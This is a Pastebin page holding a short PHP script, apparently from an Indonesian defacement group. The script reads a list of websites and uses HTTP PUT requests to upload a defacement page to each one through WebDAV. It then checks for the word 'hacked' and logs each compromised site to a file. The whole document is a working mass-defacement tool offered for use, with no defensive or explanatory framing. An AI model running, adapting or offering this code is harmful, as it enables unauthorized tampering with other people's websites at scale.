Advertisement
Tu5b0l3d

exploiter webdav

Jul 3rd, 2016
4,093
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.80 KB | None | 0 0
  1. <?php
  2. # by tu5b0l3d | IndoXploit
  3. # thx @AdeRoot | magelang6etar
  4. # blog.indoxploit.or.id
  5.  
  6. if(!is_file($argv[1]) || !is_file($argv[2])){
  7.   echo "\n\nUsage: php $argv[0] list.htm file_deface.htm\n\n";
  8. }else{
  9. $sites = $argv[1];
  10. $file = $argv[2];
  11. $fp = fopen($file, "r");
  12. $buka=fopen("$sites","r");
  13. $filesize = filesize($file);
  14. $size=filesize("$sites");
  15. $baca=fread($buka,$size);
  16. $sites = explode("<br>", $baca);
  17. foreach($sites as $site){
  18. if(preg_match("#http://#", $site)) {
  19.     $site = $site;
  20.  } else {
  21.    $site = "http://".$site;
  22.  }
  23. $site = "$site/$file";
  24. $ch = curl_init();
  25. curl_setopt($ch, CURLOPT_URL, $site);
  26. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  27. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  28. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
  29. curl_setopt($ch, CURLOPT_PUT, true);
  30. curl_setopt($ch, CURLOPT_INFILE, $fp);
  31. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  32. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  33. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  34. $exec = curl_exec($ch);
  35. echo "$site -> ";
  36. $su = curill($site);
  37. if(preg_match("/hacked/i", $su)) {
  38.     echo "Created Successfully\n\n";
  39.    file_put_contents("webdav_shell.htm", "$site<br>", FILE_APPEND);
  40. } else {
  41.   echo "Failed\n";
  42.   }
  43. }
  44. }
  45. function curill($site){
  46.   $ch = curl_init ("$site");
  47. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  48. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  49. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  50. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  51. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  52. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  53. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  54. $data3 = curl_exec ($ch);
  55. return $data3;
  56.  }
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement